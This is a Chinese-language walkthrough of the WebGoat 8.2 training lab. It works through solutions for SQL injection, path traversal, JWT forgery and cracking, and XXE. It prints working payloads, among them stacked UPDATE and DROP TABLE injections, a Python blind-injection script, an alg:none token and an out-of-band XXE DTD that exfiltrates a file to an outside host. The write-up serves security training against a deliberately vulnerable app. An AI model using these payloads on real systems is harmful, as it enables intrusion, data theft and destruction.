#禁止右键复制模块,去掉下面的/*注释可使用#

kali Docker靶场webgoat8.2修炼秘籍(Hndreamer亲测)

 

 

kali Docker靶场webgoat8.2修炼秘籍(梦亲测)

搭建配置靶场webgoat环境

Kali下安装docker 并更新源

curl -fsSL http://mirrors.zju.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add –

 

echo 'deb http://mirrors.zju.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list

 

apt-get update

apt-get install docker-ce

查看docker版本

 

获取到相应的webgoat版本,然后拉取镜像

Docker pull webwolf/webgoat-8.0

 

docker pull webgoat/webwolf

 

docker pull webgoat/goatandwolf

 

查看安装的镜像

docker images

 

建议先重启一下docker,然后运行镜像

systemctl restart docker

运行连接该镜像

docker run -d -p 8888:8888 -p 8080:8080 -p 9090:9090 webgoat/goatandwolf

 

可以通过通过链接http://127.0.0.1:8080/WebGoat/ 访问WebGoat,通过链接http://127.0.0.1:9090/login 访问WebWolf(不知道进不去,9090端口也开了,查了一堆资料,有的说浏览器不兼容,有的说docker不支持该靶场最新版本?建议还是去官网下载jar使用,虽然用不了wolf也能做大部分题)。

浏览器输入:http://127.0.0.1:8080/WebGoat

 

出现该画面即成功。然后申请账户即可开始进入靶场

 

注意事项:若虚拟机挂起或者关机后进不去靶场,大概率是docker关闭了该进程,重启docker以及运行连接该镜像即可。还有建议做完一题后长时间不做的话,建个快照,docker容器超过一定时间会自己退出。(码字不易,求小心心)

 

 

靶场攻略全过程

 

1.Introduction

1.1WebGoat

这一部分就是简单介绍一下WebGoat,跳过。

1.2WebWolf

WebWolf是WebGoat的配套应用,帮助学习使用的。

 

如果这个练习通过了,在左侧子菜单栏就会显示一个原谅色的绿勾号。

Show hints:点击他就会出现一些对当前练习解释的小提示。

Reset lesson:比如这道题你已经出现了绿色,然后点击它,绿色就会消失,所以这个按钮相当于重置当前题目进度为0,也就是从头再来的意思,所以当然是选择原谅她啊。

 

1、2、3:代表本练习有三个步骤,第一个步骤一般是介绍一些概念性东西,了解原理、知道要干什么等等。后面的步骤都是实际练习。

 

2 General

2.1 HTTP Basics

这一部分介绍了http的GET方法和POST方法的区别,简单区分就是GET方法的参数直接通过url传递,POST的参数则通过包来传递。
按要求输入:

 

随便填一个用户名,然后使用burp或者y用他推荐的wasp zap来抓包,个人kali里面的burp修改过专业版,若想修改成专业版可看个人以往文章。

注意(因为靶场占用了8080端口,所以burp抓包的默认端口以及浏览器插件得修改一下)

 

显然,这是通过POST方法传递请求的。

 

 

这里第一问我们已经知道为POST方法进行请求,故填入POST(其实两种都行),第二问的magic number我们不知道,所以我们先随便填入一个数,抓包后发现magic_num=45。即答案为45

需要注意一点,这个数字是会变的,所以抓完包,就快填上去。

 

成功,下一关!

2.2 HTTP Proxies

 

1到5都是介绍说明如何各种抓包工具使用代理捕获流量以及原理:浏览器(前端)->代理(burpsuite)->服务器(后台)通过burpsuite,可以修改前端的参数,如果参数在前端校验,而不是经过后天服务器校验的话,很多的防护都是可以通过burpsuite抓包修改参数来绕过,个人使用kali自带BurpSuite和火狐浏览器插件,插件和burp配置如图(供参考)。

 

 

 

题目要求大致为: 把数据包POST修改成GET、加入header添加x-request-intercepted:true再把最下面body参数一行更换为changeMe=Requests are tampered easily

抓包修改前

 

抓包修改后

 

点击forward回到靶场,submit,出现下面即成功

 

 

2.3 Developer Tools

这一部分主要介绍了浏览器上的开发者工具。

1-3主要是讲了讲浏览器的F12功能:像查看网页html代码,console执行js等

4:是让利用console调用相关函数webgoat.customjs.phoneHome()获取随机数

 

F12或者ctrl+shift+I打开开发者工具,在控制台输入响应函数

 

 

5说的是可以在F12sources中改网页html源码,也就是只能修改客户端的内容,因为不是从服务器修改的,刷新网页也就恢复了。

也可以再F12network中看请求和相应。

6 F12点击go,在network中,输入network筛选,发现有个请求含networkNum字段,输入字段的值

 

 

 

2.4 CIA Triad

1-4:主要讲的是信息安全三要素,保密性、完整性、可用性。

保密性:保证信息不泄露给未经授权的用户。

完整性:保证信息从真实的发信者传送到真实的收信者手中,传送过程中没有被非法用户添加、删除、替换等。

可用性:保证授权用户能对数据进行及时可靠的访问。

 

5:选择题:3142

程序员最喜欢的颜色绿色,这里表示正确。

 

2.5 Crypto Basics

这一部分主要讲解了一些基本的编码、加密、签名等密码学基础知识。
2第一题是解码一段Base64字符串,判断为Base64编码的简单方法就是看其结尾有没有等号(等号最多两个,虽然也可能有变种),以及字符是否都在Base64的字符集里。
Kali Linux系统自带Base64工具,直接打开一个终端进行解码即可:

 

即和你当初建立的账户密码是一样的!(但我的不知道为啥没有回显成功)

 

3第二题需要解码一段由异或编码处理过的信息,而且是用IBM的WebSphere工具中的编码规则处理的!!!所以我们从网上找到专门解码WebSphere规则的应用进行解码:

网站:http://www.sysman.nl/wasdecoder/

 

4第三题为解密两段hash串,网站推荐使用cmd5。当然也可以使用Kali的自带hashcat工具来解决,先用hash-identifier判断hash加密算法:

hash-identifier

 

即MD5加密,建议使用网站更快,因为Kali自带的hashcat如果放虚拟机里的话,可能吃不到gpu这些,贴吧大佬(你需要设置虚拟机显卡中的3d加速设置,并且设置缓存大一些),所以说放物理机好点。

 

 

6 讲的大概是签名是一个哈希值,可以用来检查一些数据的有效性。签名可以与它所验证的数据分开提供,或者在CMS或SOAP的情况下可以包含在同一个文件中。(该文件的一部分包含数据,另一部分包含签名)。

当完整性很重要时,就会使用签名。它是为了保证从甲方发送到乙方的数据没有被改变。所以甲方通过计算数据的哈希值并使用非对称私钥对该哈希值进行加密来签署数据。然后乙方可以通过计算数据的哈希值和解密签名来验证数据,以比较两个哈希值是否相同。

 

第四题为破解RSA密码,在知道私钥的情况下破解其模,以及用该私钥签名后的模,我们使用Kali自带的openssl工具会方便一些:

这里给了我们一个私钥,需要我们解出对应公钥的modulus以及私钥的签名。

这里使用到了OpenSLL工具,这个工具在Kali Linux上默认就安装了,所以我们打开Kali来进行操作。

首先把题目给的私钥复制到Kali中保存为rsa.key ,如下图所示。

 

 

然后运行命令获得对应的公钥 :openssl rsa -in rsa.key -pubout > rsa.pub

 

拿到公钥之后我们执行命令计算公钥的modulus:openssl rsa -in rsa.pub -pubin -modulus -noout

 

将Modulus=后面的一串字符复制到第一个输入框即可。

接下来获取私钥的签名,运行命令:echo -n “<这里填入上一步获得的modulus>” | openssl dgst -sign rsa.key -sha256 -out sign.sha256

 

最后一步将签名进行base64编码,然后将编码后的结果填入第二个输入框即可通关。

Openssl enc -base64 -in sign.sha256 -out sign.sha256.base64

 

分别输入之前获得的公钥和私钥签名

 

7密钥库是一个你存储密钥的地方。除了密钥库,信任库这个词也经常被使用。信任库与密钥库是同样的东西。只是它通常只包含受信任的证书或证书颁发机构的证书(所以基本上只有公共密钥和颁发者信息)。

8在这个练习中,你需要找回一个不小心留在docker容器镜像中的secret 。有了这个secret,才能解密以下信息。

 

U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=。 你可以通过登录正在运行的容器(docker exec …)并访问位于/root的password文件来解密该信息。然后在容器内使用openssl命令(为了解决openssl在Windows/Mac/Linux上的可移植性问题)你可以在下面的docker镜像中找到secret ,启动命令如下:

docker run -d webgoat/assignments:findthesecret

echo"U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -kfile ....

 


先运行容器,查看对应进程id并以root身份进入容器,如下图所示

docker run -d webgoat/assignments:findthesecret

docker ps | grep assignments

docker exec --user --user root it 加容器id /bin/bash

 

 

进入容器后找到/root目录下的密码文件,然后将密码文件内容加到解密命令的最后,获得未加密的信息,如下图所示

 

将未加密的信息和密码文件名填入即可通关

 

9:介绍的量子计算机以后的密码学

3 Injection

介绍了什么是结构化查询语言(SQL),以及如何操纵它来执行并非开发者原意的任务。

3.1 SQL Injection(intro)

1 SQL是一种标准化的(1986年为ANSI,1987年为ISO)编程语言,用于管理关系型数据库和对其中的数据进行各种操作。

一个数据库是一个数据的集合。数据被组织成行、列和表,并被编入索引,以使寻找相关信息更加有效。

SQL查询可以用来修改数据库表及其索引结构,并添加、更新和删除数据行。

有三个主要类别的SQL命令。

数据操作语言(DML)

数据定义语言(DDL)

数据控制语言(DCL)

这些命令类型中的每一个都可以被攻击者用来破坏系统的保密性、完整性和/或可用性。继续学习本课,了解更多关于SQL命令类型以及它们与保护目标的关系。

需要更多的SQL信息或练习,可以访问  http://www.sqlcourse.com/,获得免费的互动式在线培训。

2:题目:看看这个例子的表。尝试检索雇员 Bob Franco 的部门。请注意,在这项任务中,你已经被授予了完全的管理员权限,可以不经认证而访问所有的数据。

 

很简单,经典的SQL查询,语句如下:SELECT department FROM employees WHERE first_name='Bob' AND last_name='Franco';

 

3 题目:尝试将 Tobi Barnett 的 department 改为"Sales"。请注意,在这项任务中,你已经被授予了完全的管理员权限,可以不经认证而访问所有数据。

考察 SQL的 UPDATE 操作,将 Tobi Barnett 的 department 改为"Sales",输入以下SQL语句即可通关:

 

UPDATE employees SET department='Sales' WHERE first_name='Tobi' AND last_name='Barnett';

 

4:题目:现在尝试修改模式,将列“ phone”(varchar (20))添加到表“ employee”中。

考察 SQL ALTER 操作,在表"employees"中添加列"phone"(varchar(20)),输入以下SQL语句即可通关:

 

ALTER TABLE employees ADD phone varchar(20);

 

5:题目:尝试将表grant_rights的权限授予用户unauthorized_user:

考察 SQL GRANT 操作,将表grant_rights的权限授予用户unauthorized_user,输入以下SQL语句即可通关:

 

GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;

 

6-8:介绍SQL注入的例子以及各种危害和带来的后果。

 

9;题目:代码中的查询建立了一个动态查询,正如在前面的例子中看到的那样。该查询是通过串联字符串建立的,这使得它容易受到字符串SQL注入的影响。

 

"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";

 

试着使用下面的表格来检索用户表中的所有用户。你应该不需要知道任何具体的用户名来获得完整的列表。

 

说白了,就是构造SQL闭合语句。

SELECT * FROM user_data WHERE first_name = 'John' AND last_name = 'Smith' OR '1' = '1'

等价于

SELECT * FROM user_data WHERE first_name = 'John' AND last_name = 'Smith' OR TRUE;

 

10:题目:代码中的查询建立了一个动态查询,正如在前面的例子中看到的。代码中的查询通过连接一个数字建立了一个动态查询,使其容易受到Numeric SQL注入的影响。

 

"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;

 

使用下面的两个输入字段,尝试从用户表中检索所有的数据。

 

警告:这些字段中只有一个字段容易受到SQL注入的影响。你需要找出其中一个字段,以成功检索所有数据。

 

解:SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1=1;

 

11:题目;你是一个名叫 John Smith 的雇员,在一家大公司工作。公司有一个内部系统,允许所有员工看到他们自己的内部数据,如他们工作的department 和他们的salary。

 

该系统要求员工使用一个独特的认证TAN来查看他们的数据。

 

你目前的TAN是3SL99A

 

由于你总是有成为高薪员工的冲动,你想利用这个系统,不查看自己的内部数据,而是看看你所有同事的数据,查看他们目前的工资。

 

使用下面的表格,尝试从employees表中检索所有的雇员数据。你应该不需要知道任何特定的名字或TAN来获得你需要的信息。

 

你已经发现,执行你的请求的查询看起来是这样的:

 

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";

 

解:通过字符型SQL注入,注意区分数值型SQL注入。(吐槽一句,钱比我多qwq)

 

12:题目:你刚刚发现,Tobi和Bob似乎都比你挣得多!这时,你就会发现,Tobi和Bob都比你挣得多。当然,你不能就这么算了。

(这种做法真刑!)

最好去改变你自己的工资,这样你就能赚到最多的钱了!

 

记住:你的名字是John Smith,你目前的TAN是3SL99A。

 

解:本题只有两个输入框,所以想要修改工资就需要额外执行更多语句,应该想到用‘;’分割继续执行语句或者使用union连接多个语句等等。

 

Employee Name: Smith

Authentication TAN: 3SL99A';UPDATE employees SET salary=100000 WHERE last_name='Smith

 

 

 

13:题目:在前面的课程中成功地破坏了保密性和完整性之后,我们现在要破坏CIA三要素中的第三个要素:可用性。

 

有许多不同的方法可以破坏可用性。如果一个账户被删除或其密码被更改,实际拥有者就不能再访问这个账户。攻击者也可以尝试删除数据库的部分内容,甚至删除整个数据库,以使数据无法访问。撤销管理员或其他用户的访问权限是破坏可用性的另一种方式;这将阻止这些用户访问数据库的特定部分,甚至整个数据库。

轮到你了!

 

现在你是你公司的头号收入者。但是你看到了吗?似乎有一个access_log表,你的所有行为都被记录在里面了!你最好去把它完全删除,免得别人知道。

 

最好在别人注意到之前把它彻底删除。

 

解:通过字符型注入来破坏可用性,也就是让原本被授权的人无法读取或操作某些文件。

 

要求把access_log整个删除,所以用DROP TABLE,而不是TRUNCATE。

 

Action contains: 1';DROP TABLE access_log;-- ss

 

3.2 SQL Injection(advanced)

1-2 : 说了一些常用的符号

l 注释

常用于把后半段需要闭合的引号,或者后面影响注入的SQL语句代码给注释掉

/**/是多行注释

–,#是单行注释

Example: SELECT * FROM users WHERE name = ‘admin’ --AND pass = ‘pass’

l 一语句多用

; 是把前面的SQL语句中断,后面可以跟新的语句

Example: SELECT * FROM users; DROP TABLE users;

l 字符串拼接

',+,||

Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1

l 联合

union 联合,一般用于爆破字段数

SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;

l 组合

根据相关列组合来自两个或更多表的行

SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;

 

3;题目:根据靶场给的两张表,让你爆出Dave的密码

分析一下,想知道Dave的密码,看字段,密码在第二张表中,那就是需要用union联合第一张表爆出第二张表的数据,但是第一个输入框是在第一张表里查数据(7个字段),

先试试单引号是如何闭合的

 

发现闭合成功,这时我们可以通过 or 1=1 永真式加*全员查询就可以爆出第二张所有用户的数据。

Dave' OR 1=1;SELECT * FROM user_system_data;--

1';select * from user_system_data-- ss

当然根据题目,我们也可以通过union联合查询爆出数据,union查询的特性就是上下两个SQL 语句所产生的栏位需要是同样的资料种类,所以观察刚刚查询出来的列数,了解到有七列,所以接下来要写在union后的SQL语句也必须要列出7列才行,因为已经知道user_system_data这个数据表中的前4列了,所以剩下的3列随便填点什么就行,需要注意的是,数据类型也必须一致。

Dave' OR 1=1 UNION SELECT userid,user_name,user_name,cookie,password,user_name,userid FROM user_system_data;--

 

即得出Dave密码为 passW0rD

4:讲的是盲注(看译文就好了)

5出现一个登录界面,让我们以Tom的身份登入(有点难了,建议看看源码)。

第一步我们在注册页面多次尝试,可以发现不能注册用户名相同的账号,但可以注册名为"Tom"的账户,说明Tom的账户名不是"Tom",多试几次可以知道Tom的用户名为"tom",这是数据库里已经有的账户。

 

第二步便是寻找SQL注入点。首先肯定是在登录或者注册这几个输入框中。网上有用sqlmap爆出来的(本人太菜,爆不出来,只能手工了,仅供参考)

先试试注册界面/

由于用户tom已存在,‘1’=‘1’永真式,因此返回值为真,符合预期

 

 

表达式的的返回值应该为假。得到的返回消息是:User tom’ and ‘1’='2 created, please proceed to the login page.符合预期,说明这里是存在布尔盲注的。后面就是无聊的手工爆破猜测表列名了(根据答案来了,提供思路即可)。

先猜测密码字段的名称

 

即密码字段名称为password

猜测密码长度

tom’ and (length(password)>23)

 

到24时出现该提醒,即密码长度不大于24位.

爆破变量

username_reg=tom'+and+substr(password,$1$,1)='$1$' --&email_reg=tom%40webgoat.org&password_reg=123456&confirm_password_reg=123456

随后便burp可以进行字典爆破了

也可以使用脚本爆破(记得修改自己的端口,代理以及对应数据包内容)

import requests

from string import printable

chars = printable

 

vul_url = "http://localhost:8080/WebGoat/SqlInjectionAdvanced/challenge"

data1 = "username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"

headers = {

    'Content-Type': 'application/x-www-form-urlencoded',

    'X-Requested-With': 'XMLHttpRequest'

}

cookies = {

    'JSESSIONID': 'A6RZdLz-RNDOwvWpMBUzwFc-vjDxv99Rj9w87fGz',

    'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'

}

i = 0

result = ""

proxy={"http": "http://127.0.0.1:8888"}

while True:

    i += 1

    temp = result

    for char in chars:

        data = "username_reg=tom'+and substr(password, {0},1)='{1}'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123".format(i, char)

        resp = requests.put(vul_url, data=data, headers=headers, cookies=cookies, proxies=proxy)

        # print(resp.text)

        if 'already exists' in resp.text:

            result += char

    print(result)

    if temp == result:

        break

将修改后的脚本保存为sql.py

chmod u+x sql.py    #赋予权限

./sql.py            #爆破

最后爆出来的答案:thisisasecretfortomo

 

6:1.prepared statement和statement有啥区别

A statement has got values instead of a prepared statement

2.哪个是占位符

3.为啥prepared statements快

预编译肯定快

4. statement prevent咋防SQL注入了

防止用户输入附加到SQL查询,从而导致代码和数据分离

43234

3.3 SQL Injection(mitigation)

1-4:介绍了集中防止注入的方法

5题目:让你补充代码,来防SQL注入

第一题主要是需要了解这些类中函数的用法,比如说不可变查询,参数化查询,这样就能避免产生存储过程,减少注入。

答案:

getConnection

PreparedStatement ps

prepareStatement

ps.setString(1, name);

ps.setString(2, mail)

 

6:直接写代码段,5是让你补充,6则是写一段来预防注入。

try {

    Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);

    System.out.println(conn);

    PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE name=?");

    stmt.setString(1, "asif001");

    ResultSet results = stmt.executeQuery();

} catch (Exception e) {

    System.out.println("Oops. Something went wrong!");

}

 

7-8

简而言之就是无论如何用户的输入都需要一层过滤

长度和特殊字符,可以防止百分之99的SQL、XSS

9 看不太懂,说的大概就是只进行输入验证是不够安全的,需要预编译prepare statement的补充防护?

 payload为:1';select    *    from    user_system_data--    ss(如果直接复制TAB会变成4个空格,记得自己把4个空格替换为TAB哦~)

10 题目:和前面的题一样,不过加了个验证

 

 

抓包看看,确实是or,\,/,空格这些确实是被过滤。那就试试大小写变形重叠,加注释,改变编码这些方法。

不看抓包内容的话,正常思路输入' or '1'='1,直接报错,首先猜测or被过滤,直接去掉or,继续输入' '1'='1,

仍然报错,猜测空格被过滤,直接输入’or‘1’=‘1就这样测试。

and和or可以试试&&、||或者异或注入

 

空格符绕过替代:%09 %0c和/**/(但他百分号会被编码,所以使用tab替代更好)

 

构造payload1:1';seselectlect    *    frfromom    user_system_data--    ss(如果复制记得自己把4个空格替换为TAB)

Payload2:Dave'    and 1=1;seselectlect    *      frfromom       user_system_data--(如果复制记得自己把4个空格替换为TAB)

 

 

12:题目:在此任务中,尝试通过 ORDERBY 字段执行 SQL 注入。尝试查找 websam-prd 服务器的 ip 地址,猜测完整的 ip 地址可能会花费太长时间,因此我们给出最后一部分: xxx. 130.219.202

(老实说,还不如直接爆破前三位数IP呢,100到255多快)

 

如果不按这个(个人喜欢简单粗暴的方式)来,可以参考:(56条消息) WebGoat (A1) SQL Injection (mitigation)_仙女象的博客-CSDN博客

爆破可知104.130.219.202

3.4 Path traversal目录遍历

2 这关要求传个文件到目录/home/webgoat/.webgoat-8.2.2/PathTraversal/admin123下面,传文件的点是圆形人头那边,理论上是用来上传用户头像的。(有点后悔用docker了,传文件有点麻烦,好吧想太多了,能直接上传)

 

 

从上图可见,文件上传后放在用户名admin/dreamer(Full Name的值命名)

我们在上传到时候发现dramer是目录名,我们只需要把dreamer改成../dreamer这样就上传到上层目录下了.(原因上传没有设置过滤)

 

 

3 和上一关差不多,加了过滤,双写绕过即可。

 

 

4 上传头像后发现服务器上存储的文件名是固定的,和Full Name的值没有关系。

那么有可能这关的漏洞点不在Full Name。

 

但是试了修改Email、Password,上传后的文件名仍然不变。在请求包中filename的值前面加上666,响应包中的文件名前面也多了666,判断这题可能漏洞点在filename这儿。

 

同样的文件名前面加 ../ 就可以绕过了

 

5:这关要求找到名叫path-traversal-secret.jpg的文件,先点一下show random cat picture按钮,burpsuite抓包看看。

 

发现响应包有?id=10,立马想到数字型注入。

先试试加?id=1.jpg  响应包发现.jpg.jpg(即不用加.jpg后缀注入)

 

然后题目要找path-traversal-secret.jpg的文件,尝试像下图这样random-picture后面增加?id=path-traversal-secret.

 

报错,再试试random-picture后面增加?id=../path-traversal-secret

还是不对,提示有非法字符,即../需要替代

 

../改为%2e%2e%2f(../的url编码)playload: ?id=%2e%2e%2fpath-traversal-secret

 

还是不对,再回上一个目录试试。Playload: ?id=%2e%2e%2f%2e%2e%2fpath-traversal-secret

 

用户名的SHA-512 hash就是答案。

 

7:大概说的是,开发者用zip里面的文件来上传,但是可以控制里面的文件所解压的路径?

不会,查了一下github有人说这题有问题:

https://github.com/WebGoat/WebGoat/issues/1103

4.Broken Authentication

 

4.1 Authentication Bypasses

1,介绍身份验证的方式

2题目目的:绕过对安全问题的验证,获得修改密码的权限

看到输入框,老规矩,乱输抓包分析。

 

验证不成功,发现secQuestion后面是带数字的,那如果修改这个数字,改成不存在的,会不会任意值或者空值可以校验成功呢?

 

 

4.2 JWT tokens

 

1-2:介绍如何使用 JSON Web Token (JWT)进行身份验证,以及在使用 JWT 时需要注意的常见缺陷。

3:题目:对给的令牌并解码令牌,在令牌中找到用户。

令牌解码网站:https://jwt.io/#encoded-jwt      用户为user

 

 

5:尝试更改您收到的令牌,并通过更改令牌成为管理员用户,那就是通过token越权

一旦您是管理员,则重置投票。

老规矩,上bp,先点小人用户组换一个有名字的用户,然后点垃圾桶抓个包。

 

拿令牌去解码看看,发现提示

 

alg的值是可以为none的,这时也就是不加密签名,签名的值就可以留空。既然要偷梁换柱,那得修改alg位为none、admin为true再加密替换。

使用https://www.107000.com/T-Base64 进行base64编码

Header:

{ “alg”: “none”}

Base64编码后得到:

ewogICJhbGciOiAibm9uZSIKfQ==

Claims:

{ “iat”: 1594715032, “admin”: “true”, “user”: “Tom”}

Base64编码后得到:

ewogICJpYXQiOiAxNTk0NzE1MDMyLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0=

组合后

ewogICJhbGciOiAibm9uZSIKfQ==.ewogICJpYXQiOiAxNTk0NzE1MDMyLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0=.

 

去掉=,再加个.

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTk0NzE1MDMyLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

 

 

7:讲前面题目的思路,还有两道代码审计选择题

答案:1,3

1. 第一个代码片段的结果是什么?

解决方案1: 在第12行中引发异常

解决方案2: 在第7行调用 RemoveAllUsers 方法

解决方案3: 在第9行记录一个错误

2. 第二个代码片段的结果是什么?

解决方案1: 在第12行中引发异常

解决方案2: 在第7行调用 RemoveAllUsers 方法

解决方案3: 在第9行记录一个错误

 

8:题目:假设我们有以下令牌,尝试找出密钥并提交一个用户名更改为 WebGoat 的新密钥。

思路:题目给出了一个jwt的token,让修改token里面的账户为WebGoat然后重新加密后提交,因为token的第三部分是header和payload的base64然后加上秘钥hash的结果,hash的算法通过header部分就只能得到,所以需要爆破秘钥。

 

 

不对,考虑密钥的问题,尝试爆破密钥,字典地址: https://github.com/first20hours/google-10000-english

hashcat -m 16500 jwt.txt -a 3 -w 3 20k.txt –force

 

-m 16500 ,这里的16500对应的就是jwt的token爆破;

-a 3 , 代表蛮力破解

-w 3 , 可以理解为高速破解,就是会让桌面进程无响应的那种高速

jwt.txt , 是我把题目要求破解的token保存到的文件

20k.txt , 字典

 

不知道为啥我爆不出,网上查到是available

 

在token中还设置了token的生效时间,只有1分钟,所以在爆出available之后,可能时间就不够了,这时候手动修改一下这里的数字(该处使用的是unix时间戳,可以百度看现在的时间,然后修改)让现在的时间处于两者之间,再提交就能通过了

时间戳网站:https://tool.lu/timestamp/

 

 

 

10:题目是提供了TOM 的很久以前过期的token,要求我们使用过期的token来达到冒充TOM的账号来付款的操作。

先找到已经失效的token,根据题目提示点assignment的here连接里面就可以看到,复制出token·。

 

 

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

首先点checkout,抓包看到发出了一个refresh/checkout的请求,再看一下响应,提示说你不是tom。因为token过期了,拿去解码修改时间。然后就是要重新base64一下token,由于token默认用了HS512来hash,没那个闲工夫去爆破secret了,就直接把header里面的alg改成None,然后把最后的签名字段去掉。

(注意最后提交的token最后虽然没有加签名,但是那个分割用的点还是需要的)再修改一下exp(token过期时间,单位毫秒),在这个网站中把光标放在exp或iat的值上会自动显示时间:

 

 

11:不会

 

 

4.3 Password reset

不知道为啥我的wolf进不去。怀疑是docker最新版靶场的问题。(先空着把吧)

4.4 Secure Passwords

1-3 介绍了一些密码相关的设计

4:根据他给的字符,输入一个强密码,他会给你显示出你输入密码的爆破时间

随便写一个强度高的,提交即可。

 

 5-6:讲的主要是密码的应用场景以及保存问题

 

5 Sensitive Data Exposure

敏感信息泄露不安全的登录

 

5.1 Insecure Login

1:介绍了中间人截获,不安全的登录

2:模拟用户登录,看看密码传输。我们扮演中间人身份,通过截获用户没有在前端加密的密码,直接拿到用户名+密码表单,点击log In,抓包

 

填上,submit即可。

 

6 XML External Entities (XXE)

6.1 XXE

1-3:介绍xxe,XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。

4:这题要求用XXE注入系统根目录。

首先在上图的输入框输入个评论,比如dreamer,按submit提交。

 

Text标签之间就是输出评论区的内容。因此如果在此处引用外部实体,外部实体的内容也是可以显示在评论区的。如下为palyload.

<?xml version="1.0"?>

<!DOCTYPE cat [

  <!ENTITY root SYSTEM "file:///">

]>

<comment>  <text>&root;</text></comment>

 

 

 

5为4的解题思路和答案

6 为介绍Java审计xxe的一些方法(目前不会java,菜鸟落下了眼泪)

7: 这题提醒REST框架中服务器可能会接收开发者想不到的格式的数据(不懂框架可以百度)。

题目界面和第4页一样,还是随便评论一下,burpsuite抓个包.

一看请求包,无非就是把Content-Type头换成了json。

解法:1、把第4题的payload拷贝到POST数据部分,替换掉原来json格式的数据

2、把Content-Type头的内容改成application/xml

 

8:讲的是第七题的做法,以及思路

9:介绍利用xxe进行ddos攻击

10:介绍xxe盲注以及咋样验证是否存在

11:这一题是XXE盲注,尝试创建一个 DTD,它将把文件 secret. txt 的内容从 WebGoat 服务器上传到我们的 WebWolf 服务器。您可以使用 WebWolf 来服务您的 DTD。Txt 位于 WebGoat 服务器上的这个位置,所以您不需要扫描所有的目录和文件:(简单的说就是把wolf上的txt并作为评论提交)

解法:看了看攻略,有两种做法,因为我的wolf打不开,只能用第二种麻烦的了。

在攻击者新建文本上保存文件为attack_local.dtd,其内容根据你题目txt放的地址和你的IP修改。


<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.2.2//XXE/secret.txt">

<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://192. 192.168.171.141:8000/landing?text=%file;'>">

命令行输入如下命令,以开启简单的http服务

python3 -m http.server 8000

和之前一样抓包,然后在repeater中修改POST数据内容,修改为下面这段xml代码,并send。

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY % dtd SYSTEM "http:// 192.168.171.141:8000/attack_local.dtd">

%dtd;

%print;

%send;

]>

<comment>  <text>cute</text></comment>

 

 

想了很久,一直以为路径不对的问题,后面去docker里面找这个txt,硬是没找到,不管了,自己创建一个secret.txt密码为dreamer688顶掉之前的txt(反正他题目的意思是咱有wolf服务器的所有权限,这样做差不多的doge)。

然后在修改文件路径。冲!还是不行…

后面终于在docker里面找到了这个txt

 

咦,到了这一步,俺寻思着,直接把txt写在评论区不香吗(我是笨蛋)?

 

12-13 主要介绍如何预防xxe漏洞

7 Broken Access Control

不安全的直接对象引用,其实题目是越权漏洞

 

7.1 Insecure Direct Object References

1:简单介绍越权漏洞,如果引用没有得到适当的处理,并且允许绕过授权或披露可用于执行操作或访问用户不应该执行或访问的数据的私有数据,那么这些引用就被认为是不安全的。比方说,作为一个用户,你去查看你的个人资料,URL 看起来像这样:

Https://some.company.tld/app/user/23398

... 你可以在那里查看你的个人资料,如果你浏览到:

Https://some.company.tld/app/user/23399... 或者在结尾用另一个数字。如果可以操作数字(用户 ID)并查看另一个用户的配置文件,那么对象引用是不安全的。当然,可以检查或扩展 GET 方法以查看数据,但也可以操作数据。

2:这一题只需要以用户名tom,密码cat登录,以便后续操作。

3:这题要求找出response报文中未显示在网页上的属性。

只要按下View Profile之后对比网页显示的内容和burpsuite抓到的response报文就行

 

 

4:这一页要求用直接对象引用的方式来查看自己的profile。

 

从上一轮的burpsuite抓包可知,profile的路径是/WebGoat/IDOR/profile,而userId为2342384

 

试了WebGoat/IDOR/profile?userId=2342384以及WebGoat/IDOR/profile/2342384发现答案是:WebGoat/IDOR/profile/2342384

 

5:这一页有两个任务:

